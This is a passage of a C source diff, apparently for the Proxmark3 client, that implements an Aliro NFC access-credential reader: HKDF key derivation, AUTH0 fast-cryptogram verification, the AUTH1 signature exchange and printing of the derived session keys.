uint8_t *mode, size_t mode_len, + const uint8_t reader_identifier[32], + const uint8_t protocol_version[2], + const uint8_t reader_ephemeral_public_key_x[32], + const uint8_t transaction_identifier[16], + uint8_t command_parameters, + uint8_t authentication_policy, + const uint8_t *fci_proprietary_tlv, size_t fci_proprietary_tlv_len, + const uint8_t endpoint_public_key_x[32]) { + if (salt == NULL || written_len == NULL || reader_public_key_x == NULL || mode == NULL || + reader_identifier == NULL || protocol_version == NULL || + reader_ephemeral_public_key_x == NULL || transaction_identifier == NULL || + (fci_proprietary_tlv_len > 0 && fci_proprietary_tlv == NULL)) { + return PM3_EINVARG; + } + + static const uint8_t protocol_marker[] = {ALIRO_NFC_INTERFACE_BYTE, 0x5C, 0x02}; + uint8_t flag[2] = {command_parameters, authentication_policy}; + + *written_len = 0; + int res = aliro_buf_append(salt, salt_len, written_len, reader_public_key_x, 32); + if (res != PM3_SUCCESS) { + return res; + } + res = aliro_buf_append(salt, salt_len, written_len, mode, mode_len); + if (res != PM3_SUCCESS) { + return res; + } + res = aliro_buf_append(salt, salt_len, written_len, reader_identifier, 32); + if (res != PM3_SUCCESS) { + return res; + } + res = aliro_buf_append(salt, salt_len, written_len, protocol_marker, sizeof(protocol_marker)); + if (res != PM3_SUCCESS) { + return res; + } + res = aliro_buf_append(salt, salt_len, written_len, protocol_version, 2); + if (res != PM3_SUCCESS) { + return res; + } + res = aliro_buf_append(salt, salt_len, written_len, reader_ephemeral_public_key_x, 32); + if (res != PM3_SUCCESS) { + return res; + } + res = aliro_buf_append(salt, salt_len, written_len, transaction_identifier, 16); + if (res != PM3_SUCCESS) { + return res; + } + res = aliro_buf_append(salt, salt_len, written_len, flag, sizeof(flag)); + if (res != PM3_SUCCESS) { + return res; + } + res = aliro_buf_append(salt, salt_len, written_len, fci_proprietary_tlv, fci_proprietary_tlv_len); + if (res != PM3_SUCCESS) { + return res; + } + if (endpoint_public_key_x != NULL) { + res = aliro_buf_append(salt, salt_len, written_len, endpoint_public_key_x, 32); + if (res != PM3_SUCCESS) { + return res; + } + } + return PM3_SUCCESS; +} + +static int aliro_derive_standard_keys(const uint8_t kdh[32], + const uint8_t reader_public_key_x[32], + const uint8_t reader_identifier[32], + const uint8_t protocol_version[2], + const uint8_t reader_ephemeral_public_key_x[32], + const uint8_t transaction_identifier[16], + uint8_t command_parameters, + uint8_t authentication_policy, + const uint8_t *fci_proprietary_tlv, size_t fci_proprietary_tlv_len, + const uint8_t endpoint_ephemeral_public_key_x[32], + const uint8_t endpoint_public_key_x[32], + const uint8_t *auth0_suffix, size_t auth0_suffix_len, + aliro_standard_result_t *derived) { + if (kdh == NULL || reader_public_key_x == NULL || reader_identifier == NULL || + protocol_version == NULL || reader_ephemeral_public_key_x == NULL || + transaction_identifier == NULL || fci_proprietary_tlv == NULL || + endpoint_ephemeral_public_key_x == NULL || endpoint_public_key_x == NULL || + auth0_suffix == NULL || derived == NULL) { + return PM3_EINVARG; + } + + derived->keys.cryptogram_sk_present = false; + derived->keys.step_up_keys_present = false; + derived->keys.kpersistent_present = false; + + uint8_t volatile_salt[ALIRO_MAX_BUFFER] = {0}; + size_t volatile_salt_len = 0; + uint8_t volatile_info[ALIRO_MAX_BUFFER] = {0}; + size_t volatile_info_len = 0; + + int res = aliro_build_kdf_salt(volatile_salt, sizeof(volatile_salt), &volatile_salt_len, + reader_public_key_x, + (const uint8_t *)"Volatile****", 12, + reader_identifier, + protocol_version, + reader_ephemeral_public_key_x, + transaction_identifier, + command_parameters, + authentication_policy, + fci_proprietary_tlv, fci_proprietary_tlv_len, + NULL); + if (res != PM3_SUCCESS) { + return res; + } + res = aliro_build_kdf_info(volatile_info, sizeof(volatile_info), &volatile_info_len, + endpoint_ephemeral_public_key_x, + auth0_suffix, auth0_suffix_len); + if (res != PM3_SUCCESS) { + return res; + } + + uint8_t volatile_material[160] = {0}; + res = aliro_hkdf_sha256(kdh, 32, + volatile_salt, volatile_salt_len, + volatile_info, volatile_info_len, + volatile_material, sizeof(volatile_material)); + if (res != PM3_SUCCESS) { + return res; + } + + memcpy(derived->keys.kdh, kdh, 32); + memcpy(derived->keys.exchange_sk_reader, volatile_material, 32); + memcpy(derived->keys.exchange_sk_device, volatile_material + 32, 32); + + uint8_t zeros[32] = {0}; + res = aliro_hkdf_sha256(volatile_material + 64, 32, zeros, sizeof(zeros), + (const uint8_t *)"SKReader", 8, derived->keys.step_up_sk_reader, 32); + if (res != PM3_SUCCESS) { + return res; + } + res = aliro_hkdf_sha256(volatile_material + 64, 32, zeros, sizeof(zeros), + (const uint8_t *)"SKDevice", 8, derived->keys.step_up_sk_device, 32); + if (res != PM3_SUCCESS) { + return res; + } + derived->keys.step_up_keys_present = true; + res = aliro_hkdf_sha256(volatile_material + 96, 32, zeros, sizeof(zeros), + (const uint8_t *)"BleSKReader", 11, derived->keys.ble_sk_reader, 32); + if (res != PM3_SUCCESS) { + return res; + } + res = aliro_hkdf_sha256(volatile_material + 96, 32, zeros, sizeof(zeros), + (const uint8_t *)"BleSKDevice", 11, derived->keys.ble_sk_device, 32); + if (res != PM3_SUCCESS) { + return res; + } + memcpy(derived->keys.ursk, volatile_material + 128, 32); + + uint8_t persistent_salt[ALIRO_MAX_BUFFER] = {0}; + size_t persistent_salt_len = 0; + res = aliro_build_kdf_salt(persistent_salt, sizeof(persistent_salt), &persistent_salt_len, + reader_public_key_x, + (const uint8_t *)"Persistent**", 12, + reader_identifier, + protocol_version, + reader_ephemeral_public_key_x, + transaction_identifier, + command_parameters, + authentication_policy, + fci_proprietary_tlv, fci_proprietary_tlv_len, + endpoint_public_key_x); + if (res != PM3_SUCCESS) { + return res; + } + + res = aliro_hkdf_sha256(kdh, 32, + persistent_salt, persistent_salt_len, + volatile_info, volatile_info_len, + derived->keys.kpersistent, 32); + if (res != PM3_SUCCESS) { + return res; + } + derived->keys.kpersistent_present = true; + return PM3_SUCCESS; +} + +static int aliro_verify_fast_cryptogram(const uint8_t kpersistent[32], + const uint8_t reader_public_key_x[32], + const uint8_t reader_identifier[32], + const uint8_t protocol_version[2], + const uint8_t reader_ephemeral_public_key_x[32], + const uint8_t transaction_identifier[16], + uint8_t command_parameters, + uint8_t authentication_policy, + const uint8_t *fci_proprietary_tlv, size_t fci_proprietary_tlv_len, + const uint8_t endpoint_public_key_x[32], + const uint8_t endpoint_ephemeral_public_key_x[32], + const uint8_t cryptogram[64], + const uint8_t *auth0_suffix, size_t auth0_suffix_len, + aliro_fast_result_t *result) { + if (kpersistent == NULL || reader_public_key_x == NULL || reader_identifier == NULL || + protocol_version == NULL || reader_ephemeral_public_key_x == NULL || + transaction_identifier == NULL || fci_proprietary_tlv == NULL || + endpoint_public_key_x == NULL || endpoint_ephemeral_public_key_x == NULL || + cryptogram == NULL || auth0_suffix == NULL || result == NULL) { + return PM3_EINVARG; + } + memset(result, 0, sizeof(*result)); + + uint8_t salt_fast[ALIRO_MAX_BUFFER] = {0}; + size_t salt_fast_len = 0; + int res = aliro_build_kdf_salt(salt_fast, sizeof(salt_fast), &salt_fast_len, + reader_public_key_x, + (const uint8_t *)"VolatileFast", 12, + reader_identifier, + protocol_version, + reader_ephemeral_public_key_x, + transaction_identifier, + command_parameters, + authentication_policy, + fci_proprietary_tlv, fci_proprietary_tlv_len, + endpoint_public_key_x); + if (res != PM3_SUCCESS) { + return res; + } + + uint8_t info[ALIRO_MAX_BUFFER] = {0}; + size_t info_len = 0; + res = aliro_build_kdf_info(info, sizeof(info), &info_len, + endpoint_ephemeral_public_key_x, + auth0_suffix, auth0_suffix_len); + if (res != PM3_SUCCESS) { + return res; + } + + uint8_t fast_material[160] = {0}; + res = aliro_hkdf_sha256(kpersistent, 32, + salt_fast, salt_fast_len, + info, info_len, + fast_material, sizeof(fast_material)); + if (res != PM3_SUCCESS) { + return res; + } + + memcpy(result->keys.cryptogram_sk, fast_material, 32); + memcpy(result->keys.exchange_sk_reader, fast_material + 32, 32); + memcpy(result->keys.exchange_sk_device, fast_material + 64, 32); + memcpy(result->keys.ursk, fast_material + 128, 32); + + uint8_t zeros[32] = {0}; + res = aliro_hkdf_sha256(fast_material + 96, 32, zeros, sizeof(zeros), + (const uint8_t *)"BleSKReader", 11, result->keys.ble_sk_reader, 32); + if (res != PM3_SUCCESS) { + return res; + } + res = aliro_hkdf_sha256(fast_material + 96, 32, zeros, sizeof(zeros), + (const uint8_t *)"BleSKDevice", 11, result->keys.ble_sk_device, 32); + if (res != PM3_SUCCESS) { + return res; + } + + uint8_t plaintext[48] = {0}; + res = aliro_aes_gcm_decrypt(result->keys.cryptogram_sk, ALIRO_AUTH0_GCM_IV, sizeof(ALIRO_AUTH0_GCM_IV), + cryptogram, 64, plaintext); + if (res != PM3_SUCCESS) { + return PM3_ECRYPTO; + } + + const uint8_t *cursor = plaintext; + size_t left = sizeof(plaintext); + bool have_status = false; + bool have_cred_ts = false; + bool have_rev_ts = false; + while (left > 0) { + struct tlv tlv = {0}; + if (tlv_parse_tl(&cursor, &left, &tlv) == false || tlv.len > left) { + return PM3_ECARDEXCHANGE; + } + + const uint8_t *value = cursor; + if (tlv.tag == 0x5E && tlv.len == 2) { + result->signaling_bitmap = (uint16_t)((value[0] << 8) | value[1]); + have_status = true; + } else if (tlv.tag == 0x91 && tlv.len == 20) { + memcpy(result->credential_signed_timestamp, value, 20); + have_cred_ts = true; + } else if (tlv.tag == 0x92 && tlv.len == 20) { + memcpy(result->revocation_signed_timestamp, value, 20); + have_rev_ts = true; + } + + cursor += tlv.len; + left -= tlv.len; + } + + if (have_status && have_cred_ts && have_rev_ts) { + result->keys.cryptogram_sk_present = true; + result->verified = true; + return PM3_SUCCESS; + } + return PM3_ESOFT; +} + +static int info_aliro(void) { + aliro_select_info_t select_info; + int res = aliro_select_with_info(&select_info, false); + DropField(); + if (res != PM3_SUCCESS) { + return (res == PM3_ESOFT) ? PM3_SUCCESS : res; + } + + print_aliro_select_info(&select_info); + return PM3_SUCCESS; +} + +static int aliro_read_prepare_session(aliro_read_state_t *state, + mbedtls_ecp_keypair *reader_private_key, + mbedtls_ecp_keypair *reader_ephemeral_key, + const uint8_t reader_group_identifier[16], + const uint8_t reader_group_sub_identifier[16], + const uint8_t reader_private_key_raw[32], + const uint8_t *transaction_identifier_in, size_t transaction_identifier_len, + aliro_rng_t *rng) { + if (state == NULL || reader_private_key == NULL || reader_ephemeral_key == NULL || + reader_group_identifier == NULL || reader_group_sub_identifier == NULL || + reader_private_key_raw == NULL || rng == NULL) { + return PM3_EINVARG; + } + + int res = aliro_load_private_key(reader_private_key_raw, reader_private_key, rng); + if (res != PM3_SUCCESS) { + PrintAndLogEx(ERR, "Invalid reader private key"); + return res; + } + + res = aliro_generate_ephemeral_keypair(reader_ephemeral_key, rng); + if (res != PM3_SUCCESS) { + PrintAndLogEx(ERR, "Failed to generate reader ephemeral key"); + return res; + } + + res = aliro_select_with_info(&state->select_info, true); + if (res != PM3_SUCCESS) { + return res; + } + + aliro_print_big_header("Applet information"); + print_aliro_select_info(&state->select_info); + + if (state->select_info.have_proprietary_tlv == false) { + PrintAndLogEx(ERR, "Missing proprietary information TLV in SELECT response"); + return PM3_ESOFT; + } + + if (aliro_choose_protocol_version(&state->select_info, state->protocol_version) == false) { + PrintAndLogEx(ERR, "Could not determine ALIRO protocol version from SELECT response"); + return PM3_ESOFT; + } + PrintAndLogEx(INFO, "Selected protocol version. 0x%02X%02X", state->protocol_version[0], state->protocol_version[1]); + + memcpy(state->reader_identifier, reader_group_identifier, 16); + memcpy(state->reader_identifier + 16, reader_group_sub_identifier, 16); + + if (aliro_export_uncompressed_pubkey(reader_private_key, state->reader_public_key) != PM3_SUCCESS || + aliro_export_pubkey_x(reader_private_key, state->reader_public_key_x) != PM3_SUCCESS || + aliro_export_uncompressed_pubkey(reader_ephemeral_key, state->reader_ephemeral_public_key) != PM3_SUCCESS || + aliro_export_pubkey_x(reader_ephemeral_key, state->reader_ephemeral_public_key_x) != PM3_SUCCESS) { + PrintAndLogEx(ERR, "Failed to export reader public keys"); + return PM3_ESOFT; + } + + if (transaction_identifier_len == 16 && transaction_identifier_in != NULL) { + memcpy(state->transaction_identifier, transaction_identifier_in, sizeof(state->transaction_identifier)); + } else { + if (mbedtls_ctr_drbg_random(&rng->ctr_drbg, + state->transaction_identifier, + sizeof(state->transaction_identifier)) != 0) { + PrintAndLogEx(ERR, "Failed to generate transaction identifier"); + return PM3_ESOFT; + } + } + + return PM3_SUCCESS; +} + +static int aliro_read_do_auth0(aliro_read_state_t *state, + const uint8_t *kpersistent, size_t kpersistent_len, + const uint8_t reader_group_identifier[16], + const uint8_t reader_group_sub_identifier[16], + const uint8_t *endpoint_public_key_x_in, + aliro_flow_t flow, + bool *fast_flow_complete) { + if (state == NULL || reader_group_identifier == NULL || + reader_group_sub_identifier == NULL || fast_flow_complete == NULL) { + return PM3_EINVARG; + } + + *fast_flow_complete = false; + memset(&state->fast_result, 0, sizeof(state->fast_result)); + bool auth0_fast_requested = (flow == ALIRO_FLOW_FAST) || (kpersistent_len == 32); + state->auth0_command_parameters = auth0_fast_requested ? 0x01 : 0x00; + + uint8_t auth0_data[ALIRO_MAX_BUFFER] = {0}; + size_t auth0_data_len = 0; + if (aliro_append_tlv(0x41, &state->auth0_command_parameters, 1, auth0_data, sizeof(auth0_data), &auth0_data_len) != PM3_SUCCESS || + aliro_append_tlv(0x42, (const uint8_t[]){ALIRO_AUTH0_DEFAULT_POLICY}, 1, auth0_data, sizeof(auth0_data), &auth0_data_len) != PM3_SUCCESS || + aliro_append_tlv(0x5C, state->protocol_version, 2, auth0_data, sizeof(auth0_data), &auth0_data_len) != PM3_SUCCESS || + aliro_append_tlv(0x87, state->reader_ephemeral_public_key, 65, auth0_data, sizeof(auth0_data), &auth0_data_len) != PM3_SUCCESS || + aliro_append_tlv(0x4C, state->transaction_identifier, 16, auth0_data, sizeof(auth0_data), &auth0_data_len) != PM3_SUCCESS || + aliro_append_tlv(0x4D, state->reader_identifier, 32, auth0_data, sizeof(auth0_data), &auth0_data_len) != PM3_SUCCESS) { + PrintAndLogEx(ERR, "Failed to encode AUTH0 command"); + return PM3_ESOFT; + } + + aliro_print_big_header("AUTH0"); + PrintAndLogEx(INFO, "Reader group id........... %s", sprint_hex_inrow(reader_group_identifier, 16)); + PrintAndLogEx(INFO, "Reader sub id............. %s", sprint_hex_inrow(reader_group_sub_identifier, 16)); + PrintAndLogEx(INFO, "Reader id................. %s", sprint_hex_inrow(state->reader_identifier, 32)); + PrintAndLogEx(INFO, "Reader public key......... %s", sprint_hex_inrow(state->reader_public_key, 65)); + PrintAndLogEx(INFO, "Reader ePubK.............. %s", sprint_hex_inrow(state->reader_ephemeral_public_key, 65)); + PrintAndLogEx(INFO, "Transaction identifier.... %s", sprint_hex_inrow(state->transaction_identifier, 16)); + PrintAndLogEx(INFO, "Requested AUTH0 flow...... %s", auth0_fast_requested ? "fast" : "standard"); + if (flow == ALIRO_FLOW_STANDARD && auth0_fast_requested) { + PrintAndLogEx(INFO, "AUTH0 flow override....... fast (k-persistent provided)"); + } + + uint8_t auth0_response[ALIRO_MAX_BUFFER] = {0}; + size_t auth0_response_len = 0; + uint16_t auth0_sw = 0; + int res = aliro_exchange_chained(false, true, 0x80, 0x80, 0x00, 0x00, + auth0_data, auth0_data_len, + auth0_response, sizeof(auth0_response), + &auth0_response_len, &auth0_sw); + if (res != PM3_SUCCESS) { + PrintAndLogEx(ERR, "AUTH0 APDU exchange failed"); + return res; + } + if (auth0_sw != ISO7816_OK) { + PrintAndLogEx(ERR, "AUTH0 failed: %04x - %s", auth0_sw, GetAPDUCodeDescription(auth0_sw >> 8, auth0_sw & 0xff)); + return PM3_ESOFT; + } + + res = aliro_parse_auth0_response(auth0_response, auth0_response_len, &state->auth0_parsed); + if (res != PM3_SUCCESS) { + return res; + } + + state->auth0_suffix_len = 0; + memset(state->auth0_suffix, 0, sizeof(state->auth0_suffix)); + if (state->auth0_parsed.have_auth0_response_vendor_extension && + state->auth0_parsed.auth0_response_vendor_extension_tlv_len > 0) { + state->auth0_suffix_len = state->auth0_parsed.auth0_response_vendor_extension_tlv_len; + memcpy(state->auth0_suffix, state->auth0_parsed.auth0_response_vendor_extension_tlv, state->auth0_suffix_len); + } + + PrintAndLogEx(INFO, "AUTH0 credential ePubK.... %s", sprint_hex_inrow(state->auth0_parsed.endpoint_ephemeral_public_key, 65)); + if (state->auth0_parsed.have_cryptogram) { + PrintAndLogEx(INFO, "AUTH0 cryptogram.......... %s", sprint_hex_inrow(state->auth0_parsed.cryptogram, 64)); + } else { + PrintAndLogEx(INFO, "AUTH0 cryptogram.......... not present"); + } + if (endpoint_public_key_x_in != NULL) { + PrintAndLogEx(INFO, "Endpoint pubkey X (input). %s", sprint_hex_inrow(endpoint_public_key_x_in, 32)); + } + if (auth0_fast_requested == false && state->auth0_parsed.have_cryptogram) { + PrintAndLogEx(WARNING, "AUTH0 returned a cryptogram while standard flow was requested"); + } + if (auth0_fast_requested && state->auth0_parsed.have_cryptogram == false) { + PrintAndLogEx(WARNING, "AUTH0 fast flow requested, but cryptogram is missing"); + PrintAndLogEx(INFO, "Fast flow................. no cryptogram, continuing to standard"); + } + if (state->auth0_suffix_len > 0) { + PrintAndLogEx(INFO, "AUTH0 vendor extension.... %s", sprint_hex_inrow(state->auth0_suffix, state->auth0_suffix_len)); + } + + if (state->auth0_parsed.have_cryptogram) { + if (kpersistent_len != 32) { + PrintAndLogEx(INFO, "AUTH0 fast verify......... skipped (no --k-persistent provided)"); + } else if (endpoint_public_key_x_in == NULL) { + PrintAndLogEx(INFO, "AUTH0 fast verify......... skipped (endpoint public key unavailable)"); + if (auth0_fast_requested) { + PrintAndLogEx(INFO, "Fast flow................. endpoint public key unavailable, continuing to standard"); + } + } else { + PrintAndLogEx(INFO, "Kpersistent (input)....... " _YELLOW_("%s"), sprint_hex_inrow(kpersistent, 32)); + res = aliro_verify_fast_cryptogram(kpersistent, + state->reader_public_key_x, + state->reader_identifier, + state->protocol_version, + state->reader_ephemeral_public_key_x, + state->transaction_identifier, + state->auth0_command_parameters, + ALIRO_AUTH0_DEFAULT_POLICY, + state->select_info.proprietary_tlv, + state->select_info.proprietary_tlv_len, + endpoint_public_key_x_in, + state->auth0_parsed.endpoint_ephemeral_public_key_x, + state->auth0_parsed.cryptogram, + state->auth0_suffix, + state->auth0_suffix_len, + &state->fast_result); + if (res == PM3_SUCCESS && state->fast_result.verified) { + PrintAndLogEx(INFO, "AUTH0 fast verify......... " _GREEN_("ok")); + aliro_print_signaling_bitmap(state->fast_result.signaling_bitmap); + aliro_print_timestamp("Fast credential timestamp..", state->fast_result.credential_signed_timestamp, true); + aliro_print_timestamp("Fast revocation timestamp..", state->fast_result.revocation_signed_timestamp, true); + PrintAndLogEx(INFO, "Derived keys:"); + PrintAndLogEx(INFO, " CryptogramSK.............. %s", sprint_hex_inrow(state->fast_result.keys.cryptogram_sk, 32)); + PrintAndLogEx(INFO, " Fast ExpeditedSKReader.... %s", sprint_hex_inrow(state->fast_result.keys.exchange_sk_reader, 32)); + PrintAndLogEx(INFO, " Fast ExpeditedSKDevice.... %s", sprint_hex_inrow(state->fast_result.keys.exchange_sk_device, 32)); + PrintAndLogEx(INFO, " Fast BleSKReader.......... %s", sprint_hex_inrow(state->fast_result.keys.ble_sk_reader, 32)); + PrintAndLogEx(INFO, " Fast BleSKDevice.......... %s", sprint_hex_inrow(state->fast_result.keys.ble_sk_device, 32)); + PrintAndLogEx(INFO, " Fast URSK................. %s", sprint_hex_inrow(state->fast_result.keys.ursk, 32)); + if (flow == ALIRO_FLOW_FAST) { + *fast_flow_complete = true; + return PM3_SUCCESS; + } + } else { + if (auth0_fast_requested && res == PM3_ECRYPTO) { + PrintAndLogEx(INFO, "Fast flow................. unable to decrypt cryptogram, continuing to standard"); + } + PrintAndLogEx(INFO, "AUTH0 fast verify......... " _RED_("failed")); + } + } + } + + return PM3_SUCCESS; +} + +static int aliro_read_prepare_auth1_keys(aliro_read_state_t *state, + mbedtls_ecp_keypair *reader_ephemeral_key, + aliro_rng_t *rng) { + if (state == NULL || reader_ephemeral_key == NULL || rng == NULL) { + return PM3_EINVARG; + } + + uint8_t placeholder_public_key_x[32] = {0}; + memset(&state->standard_result, 0, sizeof(state->standard_result)); + + int res = aliro_compute_kdh(reader_ephemeral_key, state->auth0_parsed.endpoint_ephemeral_public_key, + state->transaction_identifier, state->standard_result.keys.kdh, rng); + if (res != PM3_SUCCESS) { + PrintAndLogEx(ERR, "Failed to compute Kdh"); + return res; + } + + res = aliro_derive_standard_keys(state->standard_result.keys.kdh, + state->reader_public_key_x, + state->reader_identifier, + state->protocol_version, + state->reader_ephemeral_public_key_x, + state->transaction_identifier, + state->auth0_command_parameters, + ALIRO_AUTH0_DEFAULT_POLICY, + state->select_info.proprietary_tlv, + state->select_info.proprietary_tlv_len, + state->auth0_parsed.endpoint_ephemeral_public_key_x, + placeholder_public_key_x, + state->auth0_suffix, + state->auth0_suffix_len, + &state->standard_result); + if (res != PM3_SUCCESS) { + PrintAndLogEx(ERR, "Failed to derive volatile keys for AUTH1 decryption"); + return res; + } + // Placeholder endpoint key was used above; do not expose kpersistent until real endpoint key is known. + state->standard_result.keys.kpersistent_present = false; + memset(state->standard_result.keys.kpersistent, 0, sizeof(state->standard_result.keys.kpersistent)); + + return PM3_SUCCESS; +} + +static int aliro_build_auth1_signed_input(const aliro_read_state_t *state, + const uint8_t context[sizeof(ALIRO_READER_CONTEXT)], + uint8_t *out, size_t out_size, size_t *out_len) { + if (state == NULL || context == NULL || out == NULL || out_len == NULL) { + return PM3_EINVARG; + } + + *out_len = 0; + if (aliro_append_tlv(0x4D, state->reader_identifier, 32, out, out_size, out_len) != PM3_SUCCESS || + aliro_append_tlv(0x86, state->auth0_parsed.endpoint_ephemeral_public_key_x, 32, out, out_size, out_len) != PM3_SUCCESS || + aliro_append_tlv(0x87, state->reader_ephemeral_public_key_x, 32, out, out_size, out_len) != PM3_SUCCESS || + aliro_append_tlv(0x4C, state->transaction_identifier, 16, out, out_size, out_len) != PM3_SUCCESS || + aliro_append_tlv(0x93, context, sizeof(ALIRO_READER_CONTEXT), out, out_size, out_len) != PM3_SUCCESS) { + return PM3_ESOFT; + } + + return PM3_SUCCESS; +} + +static int aliro_read_do_auth1(aliro_read_state_t *state, + mbedtls_ecp_keypair *reader_private_key) { + if (state == NULL || reader_private_key == NULL) { + return PM3_EINVARG; + } + + uint8_t auth1_hash_input[ALIRO_MAX_BUFFER] = {0}; + size_t auth1_hash_input_len = 0; + int res = aliro_build_auth1_signed_input(state, ALIRO_READER_CONTEXT, + auth1_hash_input, sizeof(auth1_hash_input), &auth1_hash_input_len); + if (res != PM3_SUCCESS) { + PrintAndLogEx(ERR, "Failed to build AUTH1 signed data"); + return res; + } + + uint8_t auth1_signature[64] = {0}; + res = aliro_create_auth1_signature(reader_private_key, auth1_hash_input, auth1_hash_input_len, auth1_signature); + if (res != PM3_SUCCESS) { + PrintAndLogEx(ERR, "Failed to create AUTH1 signature"); + return res; + } + + uint8_t auth1_data[ALIRO_MAX_BUFFER] = {0}; + size_t auth1_data_len = 0; + if (aliro_append_tlv(0x41, (const uint8_t[]){ALIRO_AUTH1_REQUEST_PUBLIC_KEY}, 1, + auth1_data, sizeof(auth1_data), &auth1_data_len) != PM3_SUCCESS || + aliro_append_tlv(0x9E, auth1_signature, 64, + auth1_data, sizeof(auth1_data), &auth1_data_len) != PM3_SUCCESS) { + PrintAndLogEx(ERR, "Failed to encode AUTH1 command"); + return PM3_ESOFT; + } + + uint8_t auth1_response_enc[ALIRO_MAX_BUFFER] = {0}; + size_t auth1_response_enc_len = 0; + uint16_t auth1_sw = 0; + res = aliro_exchange_chained(false, true, 0x80, 0x81, 0x00, 0x00, + auth1_data, auth1_data_len, + auth1_response_enc, sizeof(auth1_response_enc), + &auth1_response_enc_len, &auth1_sw); + if (res != PM3_SUCCESS) { + PrintAndLogEx(ERR, "AUTH1 APDU exchange failed"); + return res; + } + if (auth1_sw != ISO7816_OK) { + PrintAndLogEx(ERR, "AUTH1 failed: %04x - %s", auth1_sw, GetAPDUCodeDescription(auth1_sw >> 8, auth1_sw & 0xff)); + return PM3_ESOFT; + } + if (auth1_response_enc_len < 16) { + PrintAndLogEx(ERR, "AUTH1 response too short"); + return PM3_ESOFT; + } + + uint8_t auth1_iv[12] = {0}; + memcpy(auth1_iv, ALIRO_EXCHANGE_MODE, sizeof(ALIRO_EXCHANGE_MODE)); + auth1_iv[8] = 0x00; + auth1_iv[9] = 0x00; + auth1_iv[10] = 0x00; + auth1_iv[11] = 0x01; + + uint8_t auth1_plain[ALIRO_MAX_BUFFER] = {0}; + res = aliro_aes_gcm_decrypt(state->standard_result.keys.exchange_sk_device, auth1_iv, sizeof(auth1_iv), + auth1_response_enc, auth1_response_enc_len, auth1_plain); + if (res != PM3_SUCCESS) { + PrintAndLogEx(ERR, "Failed to decrypt AUTH1 response"); + return res; + } + + size_t auth1_plain_len = auth1_response_enc_len - 16; + res = aliro_parse_auth1_plaintext(auth1_plain, auth1_plain_len, &state->auth1_parsed); + if (res != PM3_SUCCESS) { + return res; + } + + if (state->auth1_parsed.have_endpoint_public_key) { + aliro_standard_result_t standard_result_with_persistent; + res = aliro_derive_standard_keys(state->standard_result.keys.kdh, + state->reader_public_key_x, + state->reader_identifier, + state->protocol_version, + state->reader_ephemeral_public_key_x, + state->transaction_identifier, + state->auth0_command_parameters, + ALIRO_AUTH0_DEFAULT_POLICY, + state->select_info.proprietary_tlv, + state->select_info.proprietary_tlv_len, + state->auth0_parsed.endpoint_ephemeral_public_key_x, + state->auth1_parsed.endpoint_public_key_x, + state->auth0_suffix, + state->auth0_suffix_len, + &standard_result_with_persistent); + if (res == PM3_SUCCESS) { + state->standard_result = standard_result_with_persistent; + } + } + + state->standard_result.signature_checked = false; + state->standard_result.signature_valid = false; + if (state->auth1_parsed.have_endpoint_public_key) { + uint8_t auth1_verify_input[ALIRO_MAX_BUFFER] = {0}; + size_t auth1_verify_input_len = 0; + if (aliro_build_auth1_signed_input(state, ALIRO_DEVICE_CONTEXT, + auth1_verify_input, sizeof(auth1_verify_input), &auth1_verify_input_len) == PM3_SUCCESS) { + state->standard_result.signature_checked = true; + int sig_res = ecdsa_signature_r_s_verify(MBEDTLS_ECP_DP_SECP256R1, + state->auth1_parsed.endpoint_public_key, + auth1_verify_input, + (int)auth1_verify_input_len, + state->auth1_parsed.signature, + sizeof(state->auth1_parsed.signature), + true); + state->standard_result.signature_valid = (sig_res == 0); + } + } + + return PM3_SUCCESS; +} + +static void aliro_read_print_auth1_report(const aliro_read_state_t *state, + const uint8_t reader_group_identifier[16], + const uint8_t reader_group_sub_identifier[16], + const uint8_t reader_private_key_raw[32]) { + if (state == NULL || reader_group_identifier == NULL || + reader_group_sub_identifier == NULL || reader_private_key_raw == NULL) { + return; + } + + aliro_print_big_header("AUTH1"); + PrintAndLogEx(INFO, "AUTH1 signature........... %s", sprint_hex_inrow(state->auth1_parsed.signature, 64)); + if (state->auth1_parsed.have_key_slot) { + PrintAndLogEx(INFO, "AUTH1 key slot............ %s", sprint_hex_inrow(state->auth1_parsed.key_slot, 8)); + } + if (state->auth1_parsed.have_endpoint_public_key) { + PrintAndLogEx(INFO, "AUTH1 endpoint pubkey..... %s", sprint_hex_inrow(state->auth1_parsed.endpoint_public_key, 65)); + if (state->standard_result.signature_checked) { + PrintAndLogEx(INFO, "AUTH1 signature valid...... %s", state->standard_result.signature_valid ? _GREEN_("yes") : _RED_("no")); + } else { + PrintAndLogEx(INFO, "AUTH1 signature valid...... not checked"); + } + } else { + PrintAndLogEx(INFO, "AUTH1 endpoint pubkey..... not present"); + PrintAndLogEx(INFO, "AUTH1 signature valid...... not checked"); + } + aliro_print_signaling_bitmap(state->auth1_parsed.signaling_bitmap); + aliro_print_timestamp("Credential timestamp.......", state->auth1_parsed.credential_signed_timestamp, + state->auth1_parsed.have_credential_signed_timestamp); + aliro_print_timestamp("Revocation timestamp.......", state->auth1_parsed.revocation_signed_timestamp, + state->auth1_parsed.have_revocation_signed_timestamp); + if (state->auth1_parsed.have_mailbox_subset) { + PrintAndLogEx(INFO, "Mailbox subset............ %s", + sprint_hex_inrow(state->auth1_parsed.mailbox_subset, state->auth1_parsed.mailbox_subset_len)); + } + + PrintAndLogEx(INFO, "Derived keys:"); + PrintAndLogEx(INFO, " Kdh....................... %s", sprint_hex_inrow(state->standard_result.keys.kdh, 32)); + PrintAndLogEx(INFO, " ExpeditedSKReader......... %s", sprint_hex_inrow(state->standard_result.keys.exchange_sk_reader, 32)); + PrintAndLogEx(INFO, " ExpeditedSKDevice......... %s", sprint_hex_inrow(state->standard_result.keys.exchange_sk_device, 32)); + if (state->standard_result.keys.step_up_keys_present) { + PrintAndLogEx(INFO, " StepUpSKReader............ %s", sprint_hex_inrow(state->standard_result.keys.step_up_sk_reader, 32)); + PrintAndLogEx(INFO, " StepUpSKDevice............ %s", sprint_hex_inrow(state->standard_result.keys.step_up_sk_device, 32)); + } + PrintAndLogEx(INFO, " BleSKReader............... %s", sprint_hex_inrow(state->standard_result.keys.ble_sk_reader, 32)); + PrintAndLogEx(INFO, " BleSKDevice............... %s", sprint_hex_inrow(state->standard_result.keys.ble_sk_device, 32)); + PrintAndLogEx(INFO, " URSK...................... %s", sprint_hex_inrow(state->standard_result.keys.ursk, 32)); + if (state->standard_result.keys.kpersistent_present) { + PrintAndLogEx(INFO, " Kpersistent (derived)..... " _YELLOW_("%s"), sprint_hex_inrow(state->standard_result.keys.kpersistent, 32)); + + char reader_group_hex[33] = {0}; + char reader_sub_group_hex[33] = {0}; + char reader_priv_hex[65] = 